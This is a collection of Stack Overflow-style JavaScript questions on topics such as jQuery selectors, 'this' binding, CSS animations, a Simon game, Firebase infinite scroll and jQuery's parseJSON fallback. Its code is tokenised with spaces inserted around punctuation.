to get an entire list of the input elements ? < form novalidate= '' '' id= '' loginform '' action= '' '' method= '' post '' > < input type= '' hidden '' name= '' c '' id= '' c '' value= '' abc '' > < input type= '' hidden '' name= '' initiation '' id= '' initiation '' value= '' test1 '' > < input type= '' hidden '' name= '' rmo '' id= '' rmo '' value= '' test2 '' > $ ( `` input '' ) < input type= '' hidden '' name= '' c '' id= '' c '' value= '' abc '' >",jquery only returns first input element from dev tools console "JS : I 'm making a website in two column , on the left , you can write , and it display on the right with a special design.The thing is , I 'd like to allow line break on the right side , but it does n't display . How could I do that ? here is a preview of my design . To see the full picture , here is a > Fiddle HERE function wordsinblocks ( self ) { var demo = document.getElementById ( `` demo '' ) , initialText = demo.textContent , wordTags = initialText.split ( `` `` ) .map ( function ( word ) { return ' < span class= '' word '' > ' + word + ' < /span > ' ; } ) ; demo.innerHTML = wordTags.join ( `` ) ; self.disabled = true ; fitWords ( ) ; window.addEventListener ( 'resize ' , fitWords ) ; } $ ( function ( ) { $ ( 'textarea.source ' ) .livePreview ( { previewElement : $ ( ' p # demo ' ) , allowedTags : [ ' p ' , 'strong ' , 'br ' , 'em ' , 'strike ' ] , interval : 20 } ) ; } ) ; window.onload = wordsinblocks ( self ) ; function fitWords ( ) { var demo = document.getElementById ( `` demo '' ) , width = demo.offsetWidth , sizes = [ 7.69230769230769 , 23.07692307692307 , 46.15384615384614 , 100 ] , calculated = sizes.map ( function ( size ) { return width * size / 100 } ) , node , i , nodeWidth , match , index ; for ( i = 0 ; i < demo.childNodes.length ; i++ ) { node = demo.childNodes [ i ] ; node.classList.remove ( 'size-1 ' , 'size-2 ' , 'size-3 ' , 'size-4 ' ) ; nodeWidth = node.clientWidth ; match = calculated.filter ( function ( grid ) { return grid > = nodeWidth ; } ) [ 0 ] ; index = calculated.indexOf ( match ) ; node.classList.add ( 'size- ' + ( index + 1 ) ) ; } }",Allow line break with javascript + LivePreview "JS : [ Assign a Textbox Value to the modal-box on the same page has been answered ] NEW QUESTION : Why the button on the modal-box did n't get fired while I 've clicked the button ? Am I missing something ? I 've added the code to handle the click event on the server side : Pls see the code below with the marked line.I have the code below to show the modal-box after a LinkButton clicked . And , what I want to do is how to assign the Textbox value with the.I have a gridview : And on the same page ( this is a div as modal-box to be showed after the Linkbutton on the Gridview clicked ) : And then I attach a Javascript function to the LinkButton through code-behind : Rows ( i ) .Cells ( 0 ) is the first column on the Gridview , it is `` ID '' .The Javascript code is on the same page as the Gridview code : The code above do open the modal-box but not assign the value to the Textbox1 on the modal-box.What I am gon na ask is how to assign the Id value to the Textbox1 on the modal-box ? I have try to search any relevant article but they do separate the modal-box onto the other page . But in this case , the modal-box is on the same page as the Linkbutton clicked . How can I do that ? Thank you very much . Protected Sub Save_Button_Click ( sender As Object , e As System.EventArgs ) Handles Save_Button.Click //The code goes hereEnd Sub < asp : GridView ID= '' GV1 '' runat= '' server '' DataSourceID= '' DS1 '' > < Columns > < asp : BoundField HeaderText= '' ID '' DataField= '' ID '' / > < asp : TemplateField ShowHeader= '' False '' > < ItemTemplate > < asp : LinkButton ID= '' Edit_Linkbutton '' runat= '' server '' CausesValidation= '' False '' > < asp : Image ID= '' Edit_Linkbutton_Image '' runat= '' server '' ImageUrl= '' ~/edit.png '' > < /asp : Image > < /asp : LinkButton > < /ItemTemplate > < /asp : TemplateField > < /Columns > < /asp : GridView > < div id= '' dialog-form '' title= '' Modal Box '' > < input type= '' text '' id= '' Textbox1 '' / > # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- # # This button did n't get fired while clicked < asp : Button ID= '' Save_Button '' runat= '' server '' Text= '' Save '' > < /asp : Button > # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- # < /div > Dim myLinkButton As LinkButtonFor i As Integer = 0 To GV1.Rows.Count - 1 myLinkButton = DirectCast ( GV1.Rows ( i ) .Cells ( 1 ) .FindControl ( `` LinkButton '' ) , LinkButton ) myLinkButton.Attributes.Add ( `` onclick '' , `` shopModalPopup ( ' '' + .Rows ( i ) .Cells ( 0 ) .Text & `` ' ) ; return false ; '' ) Next < script > function shopModalPopup ( id ) { //show the modal-box $ ( `` # dialog-form '' ) .dialog ( `` open '' ) ; // -- - > How to assign the 'id ' value to the Textbox1 on the modalbox ? } $ ( function ( ) { $ ( `` # dialog-form '' ) .dialog ( { autoOpen : false , height : 300 , width : 350 , modal : true } ) ; } ) ; < /script >",The button did n't get fired while clicked on the modal-box "JS : As far as I know , in browser , such as Chrome , sharing desktop or application needs a Chrome Extension to work , eg : But why does Google Hangouts do not need any extension to capture desktop ? Is there any API of JavaScript for this ? chrome.permissions.request ( { permissions : [ 'desktopCapture ' ] , }",Why does Google hangouts support sharing desktop without Chrome Extension in latest Chrome ? "JS : I 'm playing around with different ways to call a function that is an attribute of an Object in Javascript and looking at which type of calls set 'this ' to be the Object and which set 'this ' to be the Global Object.This is my test code : And this is the result : My question is , why does f=foo.bar ; f ( ) ; and ( f=foo.bar ) ( ) ; assign 'this ' to be the Global Object var foo = { bar : function ( ) { console.log ( 'this : ' + this ) ; } } console.log ( 'calling foo.bar ( ) ' ) ; foo.bar ( ) ; console.log ( '\ncalling ( foo.bar ) ( ) ' ) ; ( foo.bar ) ( ) ; console.log ( '\ncalling f=foo ; f.bar ( ) ' ) ; f = foo ; f.bar ( ) ; console.log ( '\ncalling f=foo.bar ; f ( ) ' ) ; f = foo.bar ; f ( ) ; console.log ( '\ncalling ( f=foo.bar ) ( ) ' ) ; ( f = foo.bar ) ( ) ; calling foo.bar ( ) this : [ object Object ] calling ( foo.bar ) ( ) this : [ object Object ] calling f=foo ; f.bar ( ) this : [ object Object ] calling f=foo.bar ; f ( ) this : [ object global ] calling ( f=foo.bar ) ( ) this : [ object global ]",Cases where 'this ' is the global Object in Javascript JS : Is there a way to trigger a callback from the loaded webpage ? I used to use PhantomJS where it was possible using following code : And in the phantomjs script : if ( typeof window.callPhantom === 'function ' ) { window.callPhantom ( { data : 'RenderPDF ' } ) ; } page.onCallback = function ( data ) { /* callback code */ } ;,Headless Chrome - trigger callback from loaded webpage "JS : EDIT : This is not the same as this post , How to reverse an animation on mouse out after hover . The difference being that in this case the state of the transition ( how far it has progressed ) is essential unlike in the aforementioned post that completely ignores it.TL ; DR : How to animate/transition an element back to it 's original state after animation ends ? Hello , I 'm trying to make animate panels so that they `` float '' when hovered . My problem is that the mouse leaves the panel , instead of transitioning back to it 's original state , it jumps instantly back . A heavily simplified version of this can be found in the snippet available below.As you can see , floating it triggers a smooth animation that resembles a floating motion , however , it is abruptly interrupted as the mouse leaves the box and the animation stops.So my question is : Is there a way to allow the box to transition back to it 's original state , preferably without using JavaScript ( although all suggestions are appreciated ) . ( This has probably been answered somewhere online and if that is the case , then I am truly sorry but I have been unable to find a proper solution to my problem . Please add duplicate if you find an applicable solution . ) Thanks . body { width : 100 % ; height : 100vh ; margin : 0 ; padding : 0 ; display : flex ; justify-content : center ; align-items : center ; } div { width : 50px ; height : 50px ; background-color : red ; } div : hover { animation : float 2s infinite ease ; } @ keyframes float { 0 % , 100 % { transform : none ; } 50 % { transform : translateY ( -20px ) ; } } < html > < head > < title > animate to orignal position < /title > < /head > < body > < div id='box ' > < /div > < /body > < /html >",CSS transition to original state after mouseleave "JS : I 'm using Google Chrome 's Console window to try and figure out why I 'm not able to loop over an array in javascript.I have a javascript object called moveResult that looks like this : I 'm trying to loop over the MoveParts in javascript like this : I always get undefined instead of the actual value . However , If I try to access the first item explicitly I get what I want , like this : The result of this is `` b1 '' .Why is n't my loop working ? I 've also tried a foreach : for ( var movePart in moveResult.MoveParts ) { console.log ( movePart.From ) ; } ; console.log ( moveResult.MoveParts [ 0 ] .From ) ; moveResult.MoveParts.foreach ( function ( movePart ) { console.log ( movePart.From ) ; } ;",Loop Over Array in Javascript "JS : I 'm working on the `` Simon Game '' project . I want it to lighten buttons in the proper sequence . But now by far the code works properly until the 2-nd level . If I am right the checkButton ( randIndexArr , counter ) should be included to the promise , so that if counter === index then it should call checkButton and maybe there are some more errors that I missed . Here 's a link with the video : How the code should work to be more clear Zipline : Build a Simon Game and here is my code : document.addEventListener ( `` DOMContentLoaded '' , function ( ) { 'use strict ' ; var checkOn = document.querySelector ( `` input [ type=checkbox ] '' ) ; var gameCount = document.getElementsByClassName ( `` innerCount '' ) [ 0 ] ; var startButton = document.getElementById ( `` innerStart '' ) ; var strictButton = document.getElementById ( `` strictButton '' ) ; var strictInd = document.getElementById ( `` strictIndicator '' ) ; var strictMode = false ; var soundArray = document.getElementsByTagName ( `` audio '' ) ; var buttons = document.querySelectorAll ( `` .bigButton '' ) ; var buttonArray = [ ] .slice.call ( buttons , 0 ) ; checkOn.addEventListener ( `` change '' , function ( ) { if ( checkOn.checked ) { gameCount.innerHTML = `` -- '' ; } else { gameCount.innerHTML = `` '' ; } } ) ; strictButton.addEventListener ( `` click '' , function ( ) { strictMode = ! strictMode ; strictMode ? strictInd.style.backgroundColor = `` # FF0000 '' : strictInd.style.backgroundColor = `` # 850000 '' ; } ) ; function getRandArray ( ) { var array = [ ] ; for ( var i = 0 ; i < 22 ; i++ ) { array [ i ] = Math.floor ( Math.random ( ) * 4 ) ; } document.getElementsByClassName ( `` randArray '' ) [ 0 ] .innerHTML = array ; return array ; } startButton.addEventListener ( `` click '' , function ( ) { var level = 0 ; var randIndexArr = getRandArray ( ) ; playGame ( randIndexArr , level ) ; } ) ; function sleep ( time ) { return new Promise ( resolve = > { setTimeout ( resolve , time ) } ) } function checkButton ( randIndexArr , counter ) { console.log ( 'checkButton ' ) ; var checker = function checker ( e ) { var clickedButtonId = e.target.dataset.sound ; lightenButton ( clickedButtonId ) ; sleep ( 1000 ) ; for ( let index = 0 ; index < = counter ; index++ ) { if ( + ( clickedButtonId ) === randIndexArr [ index ] ) { if ( index === counter ) { console.log ( 'checking passed - next level : ' , ( counter + 1 ) ) ; counter++ ; for ( var i = 0 ; i < 4 ; i++ ) { buttonArray [ i ] .removeEventListener ( `` click '' , checker , false ) } playGame ( randIndexArr , counter ) ; } } } } ; for ( var i = 0 ; i < 4 ; i++ ) { buttonArray [ i ] .addEventListener ( `` click '' , checker , false ) } } function playGame ( randIndexArr , counter ) { if ( counter === 22 ) { return ; } //Show the level of the Game gameCount.innerHTML = counter + 1 ; //Light and play random buttons according to the level //Light and play user 's input then check if input is correct randIndexArr.slice ( 0 , counter + 1 ) .reduce ( function ( promise , div , index ) { return promise.then ( function ( ) { console.log ( `` slice reduce '' ) ; lightenButton ( div ) ; return new Promise ( function ( resolve , reject ) { setTimeout ( function ( ) { resolve ( `` reduce Resolve '' ) ; } , 1000 ) ; } ) } ) } , Promise.resolve ( ) ) .then ( function ( value ) { console.log ( value ) ; checkButton ( randIndexArr , counter ) ; } ) ; } function lightenButton ( id ) { var lightColorsArr = [ `` liteGreen '' , `` liteRed '' , `` liteYell '' , `` liteBlue '' ] ; var promise = new Promise ( ( resolve , reject ) = > { soundArray [ id ] .play ( ) ; buttonArray [ id ] .classList.add ( lightColorsArr [ id ] ) ; setTimeout ( function ( ) { resolve ( `` lighten '' ) ; } , 500 ) ; } ) ; promise.then ( function ( value ) { console.log ( value ) ; buttonArray [ id ] .classList.remove ( lightColorsArr [ id ] ) ; } ) ; } } ) ; @ font-face { font-family : myDirector ; src : url ( 'https : //raw.githubusercontent.com/Y-Taras/FreeCodeCamp/master/Simon/fonts/myDirector-Bold.otf ' ) ; } # outerCircle { display : flex ; flex-wrap : wrap ; margin : 0 auto ; width : 560px ; border : 2px dotted grey ; position : relative ; } .bigButton { height : 250px ; width : 250px ; border : solid # 464646 ; transition : all 1s ; -webkit-transition : all 1s ; -moz-transition : all 1s ; -o-transition : background-color 0.5s ease ; } # greenButton { background-color : rgb ( 9 , 174 , 37 ) ; border-radius : 100 % 0 0 0 ; border-width : 20px 10px 10px 20px ; } .liteGreen # greenButton { background-color : # 86f999 ; } # redButton { background-color : rgb ( 174 , 9 , 15 ) ; border-radius : 0 100 % 0 0 ; border-width : 20px 20px 10px 10px ; } .liteRed # redButton { background-color : # f9868a ; } # yellowButton { background-color : rgb ( 174 , 174 , 9 ) ; border-radius : 0 0 0 100 % ; border-width : 10px 10px 20px 20px ; } .liteYell # yellowButton { background-color : # f9f986 ; } # blueButton { background-color : rgb ( 9 , 37 , 174 ) ; border-radius : 0 0 100 % 0 ; border-width : 10px 20px 20px 10px ; } .liteBlue # blueButton { background-color : # 8699f9 ; } div # innerCircle { border : 15px solid # 464646 ; border-radius : 50 % ; position : absolute ; top : 25 % ; right : 25 % ; background-color : # c4c7ce ; } div.additionalBorder { margin : 4px ; border-radius : 50 % ; height : 242px ; width : 242px ; overflow : hidden ; } p # tradeMark { margin : auto ; height : 104px ; text-align : center ; font-size : 68px ; font-family : myDirector ; color : # c4c7ce ; background-color : black ; border-color : antiquewhite ; line-height : 162px ; } span # reg { font-size : 12px ; } .partition { height : 6px ; } .buttons { height : 128px ; border-radius : 0 0 128px 128px ; border : 2px solid black ; } /* Start and Strict buttons*/table { margin-left : 5px ; } td { text-align : center ; width : auto ; padding : 2px 10px ; vertical-align : bottom ; } div.innerCount { width : 54px ; height : 40px ; background-color : # 34000e ; color : crimson ; border-radius : 11px ; font-size : 28px ; line-height : 42px ; text-align : center ; font-family : 'Segment7Standard ' , italic ; } button # innerStart { width : 27px ; height : 27px ; border : 4px solid # 404241 ; border-radius : 50 % ; background : # a50005 ; box-shadow : 0 0 3px gray ; cursor : pointer ; } div.strict { display : flex ; flex-direction : column ; justify-content : center ; align-items : center ; } button # strictButton { width : 27px ; height : 27px ; border : 4px solid # 404241 ; border-radius : 50 % ; background : yellow ; box-shadow : 0 0 3px gray ; cursor : pointer ; } div # strictIndicator { width : 6px ; height : 6px ; margin-bottom : 2px ; background-color : # 850000 ; border-radius : 50 % ; border : 1px solid # 5f5f5f ; } # switcher { display : flex ; justify-content : center ; align-items : center ; } .labels { font-family : 'Roboto ' , sans-serif ; margin : 4px ; } /* toggle switch */.checkbox > input [ type=checkbox ] { visibility : hidden ; } .checkbox { display : inline-block ; position : relative ; width : 60px ; height : 30px ; border : 2px solid # 424242 ; } .checkbox > label { position : absolute ; width : 30px ; height : 26px ; top : 2px ; right : 2px ; background-color : # a50005 ; cursor : pointer ; } .checkbox > input [ type=checkbox ] : checked + label { right : 28px ; } < div id= '' outerCircle '' > < div class= '' bigButton '' id= '' greenButton '' data-sound = `` 0 '' > 0 < audio src= '' https : //s3.amazonaws.com/freecodecamp/simonSound1.mp3 '' > < /audio > < /div > < div class= '' bigButton '' id= '' redButton '' data-sound = `` 1 '' > 1 < audio src= '' https : //s3.amazonaws.com/freecodecamp/simonSound2.mp3 '' > < /audio > < /div > < div class= '' bigButton '' id= '' yellowButton '' data-sound = `` 2 '' > 2 < audio src= '' https : //s3.amazonaws.com/freecodecamp/simonSound3.mp3 '' > < /audio > < /div > < div class= '' bigButton '' id= '' blueButton '' data-sound = `` 3 '' > 3 < audio src= '' https : //s3.amazonaws.com/freecodecamp/simonSound4.mp3 '' > < /audio > < /div > < div id= '' innerCircle '' > < div class= '' additionalBorder '' > < p id= '' tradeMark '' > simon < span id= '' reg '' > & reg ; < /span > < /p > < div class= '' partition '' > < /div > < div class= '' buttons '' > < table > < tr class= '' firstRow '' > < td > < div class= '' innerCount '' > < /div > < /td > < td > < button type= '' button '' id= '' innerStart '' > < /button > < /td > < td > < div class= '' strict '' > < div id= '' strictIndicator '' > < /div > < button type= '' button '' id= '' strictButton '' > < /button > < /div > < /td > < /tr > < tr class= '' labels '' > < td > < div id= '' countLabel '' > COUNT < /div > < /td > < td > < div id= '' startLabel '' > START < /div > < /td > < td > < div id= '' strictLabel '' > STRICT < /div > < /td > < /tr > < /table > < div id= '' switcher '' > < span class= '' labels '' > ON < /span > < div class= '' checkbox '' > < input id= '' checkMe '' type= '' checkbox '' > < label for= '' checkMe '' > < /label > < /div > < span class= '' labels '' > OFF < /span > < /div > < /div > < /div > < /div > < /div > < div class= '' randArray '' > < /div >",How to make the simon game work properly "JS : Not really a question but kind of a challenge..I have this PHP function that I always use and now I need it in Javascript.EDIT : Thanks to the replies I came up with something shorter , but without precision ( let me know if you have some second thoughts ) function formatBytes ( $ bytes , $ precision = 0 ) { $ units = array ( ' b ' , 'KB ' , 'MB ' , 'GB ' , 'TB ' ) ; $ bytes = max ( $ bytes , 0 ) ; $ pow = floor ( ( $ bytes ? log ( $ bytes ) : 0 ) / log ( 1024 ) ) ; $ pow = min ( $ pow , count ( $ units ) - 1 ) ; $ bytes /= pow ( 1024 , $ pow ) ; return round ( $ bytes , $ precision ) . ' ' . $ units [ $ pow ] ; } function format_bytes ( size ) { var base = Math.log ( size ) / Math.log ( 1024 ) ; var suffixes = [ ' b ' , 'KB ' , 'MB ' , 'GB ' , 'TB ' , 'PB ' , 'EB ' ] ; return Math.round ( Math.pow ( 1024 , base - Math.floor ( base ) ) , 0 ) + ' ' + suffixes [ Math.floor ( base ) ] ; }",PHP format bytes translation to Javascript "JS : I need to dynamically load images inside a JSP . I 've tried the < img src= '' servletUrl ? p1=x & p2=y '' / > , but the problem is that the URL is too long to be sent using GET.I 'm now performing a POST call . From the servlet I 'm generating a pie chart image , based on the params I send . The image is not persisted , so I ca n't return something like `` images/image1.jpg '' and set that as src of the image.So I 'm returning the image as a byte array and setting the appropriate image content type.My question is : once I have the image bytes in javascript , how do I display them in the corresponding img tag ? This is my AJAX call : new Ajax.Request ( url , { method : 'post ' , parameters : params , onComplete : function ( request ) { alert ( request.responseText ) ; } } ) ;","Dynamically generated images , fetched using POST" "JS : In the Chrome JavaScript console , why does wrapping the statement { } - 0 in parentheses change the returned value ? It seems incredibly strange that wrapping a single statement in parentheses alters the contained value . What am I missing here ? { } - 0 // Returns -0 ( { } - 0 ) // Returns NaN",{ } - 0 VS ( { } - 0 ) in JavaScript "JS : CODE : SITUATION : lastID is the ID of the last post created . They go backwards ( from -1 to lastID ) .This solution works perfectly except when some posts are deleted . ( Posts are ordered from latest to oldest ( from lastID to -1 ) ) .For example , if there are 16 posts , lastID = -16.If I delete posts -13 to -5 and post -3 , lastID stays at -16.Which means that when the page loads , no posts appear after the 3 first posts ( -16 to -14 ) are loaded and I need to scroll repeatedly down to get post -4 to appear.QUESTION : How can I make sure that if some posts are deleted , my Infinite Scroll script will skip the ids of the inexisting posts and just load the 3 closest posts ? WHAT I CHECKED : I looked at this : Display posts in descending posted orderBut I am not sure as to how I would implement those solutions inside my infinite scroll . Any ideas ? < script > var app = angular.module ( 'app ' , [ 'firebase ' ] ) ; app.controller ( 'ctrl ' , function ( $ scope , $ firebaseArray , $ timeout ) { console.log ( < % =lastID % > ) ; $ scope.data = [ ] ; var _n = Math.ceil ( ( $ ( window ) .height ( ) - 50 ) / ( 350 ) ) + 1 ; var _start = < % = lastID % > ; var _end = < % = lastID % > + _n - 1 ; $ scope.getDataset = function ( ) { fb.orderByChild ( 'id ' ) .startAt ( _start ) .endAt ( _end ) .limitToLast ( _n ) .on ( `` child_added '' , function ( dataSnapshot ) { $ scope.data.push ( dataSnapshot.val ( ) ) ; $ scope. $ apply ( ) console.log ( `` THE VALUE : '' + $ scope.data ) ; } ) ; _start = _start + _n ; _end = _end + _n ; } ; $ scope.getDataset ( ) ; window.addEventListener ( 'scroll ' , function ( ) { if ( window.scrollY === document.body.scrollHeight - window.innerHeight ) { $ scope. $ apply ( $ scope.getDataset ( ) ) ; } } ) ; } ) ; // Compile the whole < body > with the angular module named `` app '' angular.bootstrap ( document.body , [ 'app ' ] ) ; < /script >",How to properly order data chronologically in my Firebase infinite scroll ? "JS : This is the JavaScript code generated by CoffeeScript 's extends keyword . How the prototype chain gets setup ? var __hasProp = Object.prototype.hasOwnProperty , __extends = function ( child , parent ) { for ( var key in parent ) { if ( __hasProp.call ( parent , key ) ) child [ key ] = parent [ key ] ; } function ctor ( ) { this.constructor = child ; } ctor.prototype = parent.prototype ; child.prototype = new ctor ; child.__super__ = parent.prototype ; return child ; } ;",How to understand the JavaScript code generated by CoffeeScript 's ` extends ` keyword "JS : On a product page , a customer can select from different variants . In a `` select '' element , all the variants are stored . This element is hidden with display none . So , users can select variants using all fancy things like swatches and other fun stuff but under the hood its just a `` select '' element which keeps track of which variant is being used . Its value is variant id . I am attaching an image to be more clear on what 's going on.Goal : Get the variant id on change of variant.Problem : I am unable to detect the change event on this select element.Limitations : I am not allowed to touch the HTML of this code . I can only append a javascript file at run time on this page in < head > tag and I need to detect the change event in that script.I can get its value just fine with below code at any time I want.Any ideas that why change event wo n't be detected ? $ ( document ) .ready ( function ( ) { $ ( 'body ' ) .on ( 'change ' , `` select [ name='id ' ] '' , function ( ) { console.log ( 'here ' ) ; } ) ; } ) ; console.log ( $ ( `` select [ name='id ' ] '' ) .val ( ) ) ;",Detect change event on hidden select element "JS : I want to have all the text selected when I give the focus to an element.I usedBut it 's not the perfect behavior I want . When i click between two characters , the input value is not seleted , there is a cursor in the middle.I want the behavior of the url bar in chrome browser : you click and the cursor is replaced by the value selectionFeel free to test my problem in this fiddle : http : //jsfiddle.net/XS6s2/8/I want the text to be able to receive the cursor once selected.The answer selected , below is definitely what I wanted , Thanks $ ( '.class-focusin ' ) .focusin ( function ( e ) { $ ( this ) .select ( ) ; } ) ;","Select all the text in an input , focusin" "JS : I 'm starting to develop a small JavaScript library and I want to make styling of HTML elements possible only through my API ( because for some reason I need to have full control over styling ) .So I want to make style property inaccessible ( my API will access it through my style alias - not an ideal solution , but for other libraries like jQuery it will do the trick ) .If I write this ( inspired by this topic ) : it works for box element only.Is it possible to do this for all ( existing and future ) elements in Webkit , Firefox , and IE9+ ? I 've also tried this : but no luck.Any help would be greatly appreciated ! EditAs @ Teemu suggested I can write HTMLElement.prototype instead of HTMLElement , and it works fine in FF and IE , but not in Chrome . And it looks like a Chrome bug . Sadly ... Edit2 - why do I need itThe main goal of a library I want to develop is to allow writing styles like : In this case element 's width should react on each changing of the parent 's width.But since onresize event is available only for window object ( this article seems to be obsolete ) , the only way I can `` listen '' modifying .style.width property is to perform my own API for styling.And I want to restrict ( or at least show warning ) direct style modifying because it will break the elements ' behavior . var box = document.getElementById ( 'someElementId ' ) ; Object.defineProperty ( box , 'style ' , { get : function ( ) { throw 'you cant access style property ' ; } } ) ; box.style.color = 'red ' ; Object.defineProperty ( HTMLElement , 'style ' , { ... element.setWidth ( 'parent.width / 2 - 10 ' ) ;",Restrict access to 'style ' property in JavaScript "JS : I 'm running webdriverjs and having an issue where webdriver just goes idle and seems to stop running events . I am using webdriver to launch a new browser , and then the code in that browser connects to the webdriver session and runs test commands.This seems to work fine , but then with some sequences of commands , webdriver just stalls . For example , in my test : The browser outputs the first `` found '' log line , but not the second `` got tag name '' . Webdriver does not appear to fail - there are no exceptions in the log , and if I register an errback on the getTagName promise , it never gets called . It simply just does n't happen.The webdriver instance is a selenium-standalone-server . Looking at its logs , I see the first findElement request : But I never see the second request , so it would seem the webriver JS never ends up making the call to the server.I 'm stepping through the webdriver code to see what 's going on , but the promise framework uses lots of closures and it 's very hard to inspect state effectively . Does anyone have any familiarity with this problem ? driver.findElement ( my_element ) .then ( function ( element ) { console.info ( `` found '' ) ; element.getTagName ( ) .then ( function ( name ) { console.info ( `` got tag name '' , name ) ; } ) ; } ) ; 12:59:43.382 INFO - Executing : [ execute script : return ( function lookupElement ( id ) { var store = document [ `` $ webdriver $ '' ] ; if ( ! store ) { return null } var element = store [ id ] ; if ( ! element || element [ id ] ! == id ) { return [ ] } return [ element ] } ) .apply ( null , arguments ) ; , [ 51d37tw ] ] at URL : /session/1337200865492/execute ) 12:59:43.393 INFO - Done : /session/1337200865492/execute","What to do when webdriverjs never calls a continuation , and just hangs ?" "JS : My use case requires node.js domains to share information across server files at a request level . Sample Implementation in express.jsMore explanation at Nodejs Domains Explicit BindingIn controller / service -process.domain will provide you above created domainAnd you can easily bind values to this domain . For eg : This explanation is sufficient to understand the usage of Domains.QuestionsIs it safe to use domains for multiple requests ? How to ensure process.domain is different for different requests and not the same ? I would also like to know how such issues are handled in continuation local storage domain = require ( 'domain ' ) ; app.use ( function ( req , res , next ) { var reqDomain = domain.create ( ) ; reqDomain.add ( req ) ; reqDomain.add ( res ) ; reqDomain.run ( next ) ; } ) ; process.domain.obj = { } ;",How nodejs domains actually work behind the scenes for multiple requests ? "JS : I asked this question a while back and was happy with the accepted answer . I just now realized , however , that the following technique : returns the result I expect . If T.J.Crowder 's answer from my first question is correct , then should n't this technique not work ? var testaroo = 0 ; ( function executeOnLoad ( ) { if ( testaroo++ < 5 ) { setTimeout ( executeOnLoad , 25 ) ; return ; } alert ( testaroo ) ; // alerts `` 6 '' } ) ( ) ;","Named Function Expressions in IE , part 2" "JS : Select onchange works for Chrome and Opera but it doesnt work for Firefox . Would you mind helping me ? What should I do to fix it for all browsers ? var tehlikeliNace = [ `` 01.11.07 '' , `` 01.11.12 '' ] ; var aztehlikeliNace = [ `` 01.30.04 '' , `` 01.63.05 '' ] ; var coktehlikeliNace = [ `` 01.61.04 '' , `` 01.61.06 '' ] ; function naceKoduDegisti ( ) { if ( jQuery.inArray ( $ ( `` # nace_kod '' ) .val ( ) , aztehlikeliNace ) > = 0 ) { $ ( `` # tehlike_sinifi option [ value= ' 1 ' ] '' ) .attr ( 'selected ' , 'selected ' ) ; } if ( jQuery.inArray ( $ ( `` # nace_kod '' ) .val ( ) , tehlikeliNace ) > = 0 ) { $ ( `` # tehlike_sinifi option [ value= ' 2 ' ] '' ) .attr ( 'selected ' , 'selected ' ) ; } if ( jQuery.inArray ( $ ( `` # nace_kod '' ) .val ( ) , coktehlikeliNace ) > = 0 ) { $ ( `` # tehlike_sinifi option [ value= ' 3 ' ] '' ) .attr ( 'selected ' , 'selected ' ) ; } } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < select id= '' nace_kod '' onchange= '' naceKoduDegisti ( ) '' > < option value= '' 01.11.07 '' > 01.11.07 < /option > < option value= '' 01.30.04 '' > 01.30.04 < /option > < option value= '' 01.61.04 '' > 01.63.05 < /option > < option value= '' 01.11.12 '' > 01.13.18 < /option > < option value= '' 01.63.05 '' > 02.40.04 < /option > < /select > < select id= '' tehlike_sinifi '' > < option value= '' 1 '' > '' Az Tehlikeli '' < /option > < option value= '' 2 '' > '' Tehlikeli '' < /option > < option value= '' 3 '' > '' Çok Tehlikeli '' < /option > < /select >",onchange doesnt work for firefox "JS : This is the source of $ .parseJSONI have trouble understanding the following fallbacksand also ( this one is not in jQuery ) I would like to know these thingsHow this parsing fallback works really ? Why eval is not used in the fallback ? ( Is it not faster than new Function ( ) ) function ( data ) { if ( typeof data ! == `` string '' || ! data ) { return null ; } // Make sure leading/trailing whitespace is removed ( IE ca n't handle it ) data = jQuery.trim ( data ) ; // Attempt to parse using the native JSON parser first if ( window.JSON & & window.JSON.parse ) { return window.JSON.parse ( data ) ; } // Make sure the incoming data is actual JSON // Logic borrowed from http : //json.org/json2.js if ( rvalidchars.test ( data.replace ( rvalidescape , `` @ '' ) .replace ( rvalidtokens , `` ] '' ) .replace ( rvalidbraces , `` '' ) ) ) { return ( new Function ( `` return `` + data ) ) ( ) ; } jQuery.error ( `` Invalid JSON : `` + data ) ; } return ( new Function ( `` return `` + data ) ) ( ) ; return ( eval ( ' ( '+ data + ' ) ' )",Trouble understanding jQuery.parseJSON JSON.parse fallback "JS : Setting scrollLeft does reset the scroll bar position and updating the content works as expected but when doing both at the same time the scroll bar gets confused and does n't reset.To see the expected behavior vs unexpected behavior view each demo on a device with a touchpad and use the touchpad to scroll left or right inside the wrapper , then try to do the same thing on an android device . Notice that on a laptop the element will scroll endlessly , on an android device the element will scroll only until it has reached the initially set `` max scroll '' What should happen : When the user scrolls left or right , move the first child element to the end of the nodeList or move the last child to the beginning and reset the scroll position to that of half the with of the first child.The following are my attempts at fixing the issueSet transform : translateX ( 0px ) on .inner see here which had worse behavior than before.the fix listed here which was for a previous bug in android where setting scrollLeft did not work at all . This did not help the issue at all.wrap.appendChild ( inner ) on each scroll event , which slowed the scrolling down but didnt fix the issue because chrome remembers scroll positions . This would be a hack even if I could get chrome to forget the scroll position ( which looks like it could be plausible but would be yet another hack ) I realize that I could sniff the browser and just revert to jquery ui mobile swipe setup , but I think that if I could get this to work I would n't have to use an external library to emulate a native behavior ( and native is always better ) . var log = function ( event ) { var log = document.querySelector ( '.log ' ) ; log.innerHTML = event + `` < br > '' + log.innerHTML ; } ; var wrap = document.querySelector ( '.wrap ' ) ; var inner = document.querySelector ( '.inner ' ) ; var items = document.querySelectorAll ( '.item ' ) ; var controlLeft = document.createElement ( ' a ' ) ; controlLeft.className = 'control control-left ' ; controlLeft.href = 'javascript : void ( 0 ) ' ; controlLeft.innerHTML = ' & lt ; ' ; controlLeft.onclick = function ( ) { log ( 'click left ' ) ; inner.scrollLeft++ ; } ; wrap.appendChild ( controlLeft ) ; var controlRight = document.createElement ( ' a ' ) ; controlRight.className = 'control control-right ' ; controlRight.href = 'javascript : void ( 0 ) ' ; controlRight.innerHTML = ' & gt ; ' ; controlRight.onclick = function ( ) { log ( 'click right ' ) ; inner.scrollLeft -- ; } ; wrap.appendChild ( controlRight ) ; var darken1 = document.createElement ( 'div ' ) ; var darken2 = document.createElement ( 'div ' ) ; darken1.className = 'darken ' ; darken2.className = 'darken ' ; items [ 0 ] .appendChild ( darken1 ) ; items [ 2 ] .appendChild ( darken2 ) ; var getWidth = function ( element ) { return Number ( window.getComputedStyle ( element , null ) .getPropertyValue ( 'width ' ) .replace ( 'px ' , `` ) ) + 1 ; } ; 